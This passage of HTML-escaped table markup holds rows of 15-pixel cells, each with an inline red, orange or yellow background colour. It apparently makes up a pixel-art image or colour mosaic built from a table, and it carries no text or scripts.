&lt;td style=&quot;background-color: #c01b04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc681c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d88324; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bd1a03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc1a07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c62109; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c51a00; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c74812; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de6210; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bd1904; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba0c05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b90a06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb0304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b90005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb0603; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c70203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c24d17; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e0b035; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c45c18; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d2aa39; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d06723; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb0102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c00505; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #cc5204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc5205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb5104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb5104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca5104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb5105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc4f04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc4f04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d85208; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e75308; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e77e0c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f8b91e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f07c05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #eb520a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #da4c05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce4502; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc4003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c64402; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd2f0c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d06b0e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ecc62f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf980e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fbf927; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d27a1b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d16212; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f1d828; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e0a11f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca5b17; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e4c427; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb771b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d38d21; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e4a11a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c52407; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb6722; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb4712; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d95615; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #da9020; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be0c08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf4718; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d57a1f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e2a218; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e26515; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf110a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f8e42a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd6c15; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c32a12; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #deac35; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c94416; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c00001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf0304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #c95205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c95204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c85102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c85102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c85104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c95005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca4f06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca4d07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd4f07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d35007; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e5580a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f0640b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d94e04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d34e07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb4a02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c64602; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c74206; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c54203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c84604; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d85719; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c1460e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #daa014; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f0d51c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c02c05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb3d06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f0df21; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dfaa19; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d37b16; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f4f021; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c26e12; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf6b1a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f0db2a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d29413; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #efdc2d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e5bf19; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e8bb1e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ed9128; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d57616; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e8b727; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b63e0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f42f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c3630f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba3013; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f8e923; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac0703; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d16b1a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f8f11f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be1708; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c90006; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be0201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #c65207; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c65205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c65305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c65306; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c45205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c45203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c35202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c25102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c25004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c54d05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c84f00; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e16413; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c94c02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c5490b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd4d0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d04d0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c74a0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c04306; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb3f0c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d24c14; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb8113; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f3e92f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d59e16; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c2470c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d89e21; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ebd02a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b23f05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d38915; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f4ed26; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c06820; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b72106; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #eec11e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f3ef22; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d4aa1c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fcff25; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e2881a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be1b03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f3e823; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d6b815; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d9ab23; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #feff25; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf771d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d9a423; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ece829; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b94a19; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d98e1c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ecea18; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf4e18; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d30206; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c30001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #c35402; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c3530a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c2510c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c15006; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c65004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca5005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c74e04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca4f04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb5006; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c55106; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c14b01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd5409; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d3590c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c54700; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd4b06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce4c0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca4e09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c54a0d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b83e03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb5608; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d99c24; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #daa21a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d48c1f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d28d21; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd7518; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c03104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca2e09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d76e10; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d9a11e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c15d19; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc2405; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc6d1b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bd580a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c5400d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c86a1a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd2609; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c01a03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c96f0e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db8d22; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c4450f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d27814; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c84b17; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c24b13; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #da8320; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c0320f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc490f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e98319; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e03712; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d00004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c40101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #c25604; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c45509; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c55804; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dc7807; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f0b10c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f3b90d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e68406; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d95c09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d7590d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d35d0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d35a0e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d35707; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #eb740e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f0a320; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d87209; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf5008; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d65512; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
